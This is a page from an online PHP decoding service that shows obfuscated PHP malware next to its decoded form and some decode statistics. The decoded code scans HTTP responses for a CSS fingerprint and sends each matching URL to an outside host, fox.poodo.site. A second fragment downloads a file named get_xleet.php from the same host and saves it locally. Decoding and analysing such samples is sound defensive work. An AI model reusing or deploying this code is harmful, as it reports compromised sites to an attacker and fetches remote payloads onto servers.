Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

function callback_function($response, $info, $request) { if ( preg_match( ..

Decoded Output download

<?  function callback_function($response, $info, $request) 
{ 
    if ( 
        preg_match( 
            "~(background-color:whitesmoke;border:1px solid #FFF;outline:none;)~i", 
            $response, 
            $out 
        ) 
    ) { 
        http_get_contents( 
            "http://fox.poodo.site/vesta.php?we=" . 
                base64_encode($info["url"]) . 
                "&fe=" . 
                base64_encode( 
                    "inc.class.xleet.php" 
                ) 
        ); 
        goto end; 
    } 
    end: 
    return; 
} 
goto xhzib; 
wby1d: 
file_put_contents( 
    "get_xleet.txt", 
    http_get_contents( 
        "http://fox.poodo.site/get_xleet.php" 
    ) 
); ?>

Did this file decode correctly?

Original Code

function callback_function($response, $info, $request)
{
    if (
        preg_match(
            "\176\50\142\x61\x63\153\x67\162\x6f\x75\156\144\x2d\143\157\x6c\157\162\x3a\x77\150\x69\164\145\x73\155\157\x6b\x65\73\x62\x6f\x72\x64\145\x72\x3a\61\160\170\x20\x73\x6f\154\151\144\40\x23\x46\106\106\73\157\x75\x74\154\x69\x6e\x65\72\156\157\x6e\145\x3b\x29\x7e\x69",
            $response,
            $out
        )
    ) {
        http_get_contents(
            "\x68\x74\x74\160\72\x2f\57\x66\157\170\x2e\160\x6f\157\x64\157\x2e\x73\x69\x74\x65\x2f\166\x65\163\x74\x61\56\x70\x68\160\77\167\x65\x3d" .
                base64_encode($info["\x75\162\x6c"]) .
                "\46\x66\x65\75" .
                base64_encode(
                    "\151\156\x63\x2e\143\x6c\x61\x73\x73\56\170\x6c\145\145\x74\x2e\x70\x68\x70"
                )
        );
        goto end;
    }
    end:
    return;
}
goto xhzib;
wby1d:
file_put_contents(
    "\147\145\164\x5f\x78\x6c\x65\x65\164\56\x74\x78\x74",
    http_get_contents(
        "\x68\x74\x74\160\x3a\x2f\x2f\x66\157\x78\x2e\160\157\x6f\144\x6f\56\163\151\164\145\x2f\147\x65\x74\x5f\x78\x6c\145\x65\164\56\x70\150\160"
    )
);

Function Calls

None

Variables

None

Stats

MD5 a5900af83de80d62855a6cdb54ba42ff
Eval Count 0
Decode Time 32 ms